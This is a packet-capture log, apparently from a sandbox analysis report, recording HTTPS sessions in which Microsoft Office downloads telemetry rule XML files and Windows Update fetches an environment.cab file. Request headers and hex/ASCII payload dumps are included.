Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:04 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:04 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:04 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: e9522a88-801e-0067-2316-3dfe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164504Z-178bfbc474bv587zhC1NYCny5w00000004h000000000gwtu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 16:45:04 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:06 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:06 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: ae573645-101e-008d-516d-3b92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164506Z-174c587ffdfb5q56hC1TEB04kg000000036g0000000032vq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:06 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:06 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:06 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 561f43d7-f01e-0096-2f75-3b10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164506Z-174c587ffdfldtt2hC1TEBwv9c000000033g000000003gxa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:06 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:06 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:06 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 9bcae678-901e-007b-2946-3cac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164506Z-15b8b599d882l6clhC1TEBxd5c000000032g00000000ben6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:06 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:06 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:06 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: aff2abcc-f01e-0003-4547-3c4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164506Z-178bfbc474brk967hC1NYCfu6000000004eg00000000gddd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:07 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:06 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:06 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 3e1ce11e-901e-00ac-5292-3bb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164506Z-15b8b599d88z9sc7hC1TEBkr4w00000003d0000000003akb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:07 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49774	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:06 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=bM6cHAbr4DgLfFU&MD=8zhm+Rvk HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-23 16:45:07 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 8150c05d-ea04-4349-bbed-353716750687 MS-RequestId: c8fe29be-254d-42f6-bd29-62564e15e605 MS-CV: Hq8Pc48uFUCPnT+U.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 23 Nov 2024 16:45:06 GMT Connection: close Content-Length: 30005
2024-11-23 16:45:07 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-23 16:45:07 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:08 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:08 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:08 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: d1e74057-c01e-0014-6563-3ba6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164508Z-178bfbc474bq2pr7hC1NYCkfgg00000004yg0000000031ru x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:08 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:08 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:08 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 63e0f5a8-701e-0032-207a-3ba540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164508Z-174c587ffdfb485jhC1TEBmc1s00000003300000000053zb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:09 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:08 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:08 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 21648528-e01e-003c-794e-3cc70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164508Z-178bfbc474bxkclvhC1NYC69g400000004rg00000000490n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:09 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:08 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:09 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: caffefd3-a01e-003d-6e3c-3c98d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164509Z-178bfbc474bpnd5vhC1NYC4vr400000004v00000000000f9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:09 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:08 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
